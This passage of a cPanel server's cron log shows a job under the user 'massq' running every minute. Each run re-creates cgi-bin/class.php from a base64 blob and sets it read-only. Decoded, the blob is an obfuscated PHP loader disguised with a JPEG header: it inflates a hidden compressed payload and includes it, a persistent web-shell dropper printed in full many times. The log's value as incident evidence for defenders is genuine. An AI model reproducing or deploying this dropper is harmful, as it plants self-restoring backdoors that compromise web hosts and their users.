444 "$fp")
Sep  6 00:58:01 server CROND[21695]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:58:01 server CROND[21696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:58:01 server CROND[21697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:59:01 server CROND[22080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:59:01 server CROND[22081]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:59:01 server CROND[22082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:00:01 server CROND[22465]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:00:01 server CROND[22467]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 01:00:01 server CROND[22473]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 01:00:01 server CROND[22479]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:00:01 server CROND[22481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:00:01 server CROND[22483]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 01:00:01 server CROND[22480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:00:01 server CROND[22482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:00:01 server CROND[22478]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 01:01:01 server CROND[23471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:01:01 server CROND[23470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:01:01 server CROND[23472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:01:01 server CROND[23473]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 01:01:01 server run-parts(/etc/cron.hourly)[23473]: starting 0anacron
Sep  6 01:01:01 server anacron[23490]: Anacron started on 2026-09-06
Sep  6 01:01:01 server anacron[23490]: Normal exit (0 jobs run)
Sep  6 01:01:01 server run-parts(/etc/cron.hourly)[23492]: finished 0anacron
Sep  6 01:02:01 server CROND[23857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:02:01 server CROND[23859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:02:01 server CROND[23860]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:03:01 server CROND[24234]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:03:01 server CROND[24235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:03:01 server CROND[24236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:04:01 server CROND[24704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:04:01 server CROND[24705]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:04:01 server CROND[24706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:05:01 server CROND[25084]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:05:01 server CROND[25088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:05:01 server CROND[25090]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 01:05:01 server CROND[25094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:05:01 server CROND[25093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:05:01 server CROND[25092]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:05:01 server CROND[25095]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 01:05:01 server CROND[25091]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 01:06:02 server CROND[25924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:06:02 server CROND[25925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:06:02 server CROND[25926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:07:01 server CROND[26295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:07:01 server CROND[26297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:07:01 server CROND[26296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:08:01 server CROND[26670]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:08:01 server CROND[26671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:08:01 server CROND[26672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:09:01 server CROND[27146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:09:01 server CROND[27147]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 01:09:01 server CROND[27148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
